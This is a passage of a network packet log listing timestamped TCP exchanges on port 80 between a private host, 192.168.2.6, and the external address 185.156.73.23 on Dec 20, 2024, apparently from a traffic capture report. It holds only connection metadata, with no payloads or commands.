Dec 20, 2024 16:36:47.461107016 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.461222887 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.461915016 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.462012053 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.605693102 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.605715990 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.605762959 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.605818987 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.606129885 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.606146097 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.606179953 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.606193066 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.606249094 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.606291056 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.607074022 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.607122898 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.607273102 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.607327938 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.608040094 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.608160973 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.608274937 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.608931065 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.609019041 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.609025955 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.609061003 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.609947920 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.609994888 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.610053062 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.610095978 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.610760927 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.610805988 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.610888958 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.610940933 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.613434076 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.613478899 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.613580942 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.613595009 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.613629103 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.613642931 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.613990068 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.614003897 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.614016056 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.614034891 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.614059925 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.614526987 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.614603043 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.614660978 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.614737034 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.615391016 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.615493059 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.615873098 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.615921974 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.616302013 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.616344929 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.616417885 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.616466999 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.617284060 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.617331028 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.617904902 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.617957115 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.618227005 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.618241072 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.618273020 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.618292093 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.619122028 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.619160891 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.619271994 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.619321108 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.620034933 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.620111942 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.620196104 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.620242119 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.620996952 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.621048927 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.621365070 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.621443033 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.621932030 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.621997118 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.622847080 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.622860909 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.622901917 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.622998953 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.623104095 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.623748064 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.623795033 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.623836994 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.624007940 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.625097990 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.625147104 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.625211000 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.625319004 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.625984907 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.625999928 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.626027107 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.626046896 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.626535892 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.626576900 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.626646042 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.626693010 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.627460957 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.627506971 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.627589941 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.627634048 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.628420115 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.628617048 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.628628016 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.628671885 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.629317045 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.629374027 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.629873037 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.629944086 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.630295992 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.630340099 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.630481958 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.630553961 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.631278992 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.631328106 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.631369114 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.631413937 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.632095098 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.632137060 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.632266998 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.632322073 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.633088112 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.633131981 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.633150101 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.633225918 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.633960962 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.634094000 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.634108067 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.634139061 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.634865046 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.634907007 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.635039091 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.635082006 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.635838985 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.635881901 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.635921955 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.635973930 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.636734962 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.636779070 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.636805058 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.636914968 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.637649059 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.637691021 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.638108969 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.638206005 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.638616085 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.638665915 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.638900995 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.638947010 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.639533043 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.639580965 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.640322924 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.640364885 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.640497923 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.640511990 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.640556097 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.641391039 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.641448021 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.641488075 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.641722918 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.642334938 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.642383099 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.642416000 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.642462969 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.643254995 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.643268108 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.643316984 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.643328905 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.644129038 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.644179106 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.644267082 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.644305944 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.645061970 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.645154953 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.645489931 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.645590067 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.646111965 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.646157980 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.646291971 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.646384954 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.646940947 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.647001028 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.647070885 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.647113085 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.647948980 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.647991896 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.648134947 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.648190022 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.648976088 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.649024010 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.649040937 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.649087906 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.649831057 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.649874926 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.650005102 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.650051117 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.650631905 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.650695086 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.650782108 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.650826931 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.651561975 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.651654959 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.651684999 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.651772022 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.652595043 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.652637005 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.652669907 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.652708054 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.653595924 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.653641939 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.653713942 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.653858900 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.797993898 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.798065901 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.798212051 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.798250914 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.798464060 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.798487902 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.798511028 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.798535109 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.798738003 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.798835039 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.799510002 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.799547911 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.799585104 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.799618006 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.800307035 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.800452948 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.800492048 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.800528049 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.801117897 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.801156998 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.801457882 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.801692963 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.802015066 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.802171946 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.802211046 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.802817106 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.802941084 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.803270102 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.803452015 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.804368019 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.804517031 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.804687977 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.804702044 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.804717064 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.804723978 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.804742098 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.804763079 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.805583000 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.805625916 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.805650949 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.805694103 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.806566954 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.806610107 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.806863070 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.806905985 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.807432890 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.807497025 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.807580948 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.807637930 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.808339119 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.808383942 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.808444977 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.808490038 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.809279919 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.809319973 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.809600115 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.809642076 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.810185909 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.810355902 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.810543060 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.810584068 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.811139107 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.811173916 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.811228991 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.811276913 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.812104940 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.812144995 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.812479973 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.812747002 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.813026905 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.813062906 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.813425064 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.813477039 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.814141989 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.814249039 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.814290047 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.814331055 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.814870119 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.814910889 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.814939022 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.814997911 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.815774918 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.815818071 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.815992117 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.816121101 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.816695929 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.816740036 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.817090034 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.817137957 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.817673922 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.817735910 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.818337917 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.818382978 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.818727970 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.818768978 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.818938971 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.818979979 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.819483042 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.819525003 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.820214987 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.820261955 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.820409060 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.820445061 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.820573092 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.820661068 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.821346998 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.821387053 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.821417093 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.821465015 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.822292089 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.822443008 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.823164940 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.823287010 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.823301077 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.823350906 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.823453903 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.824222088 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.824270010 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.824506998 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.824556112 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.825054884 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.825068951 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.825109959 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.825977087 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:47.826026917 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:47.826350927 CET	80	49962	185.156.73.23	192.168.2.6
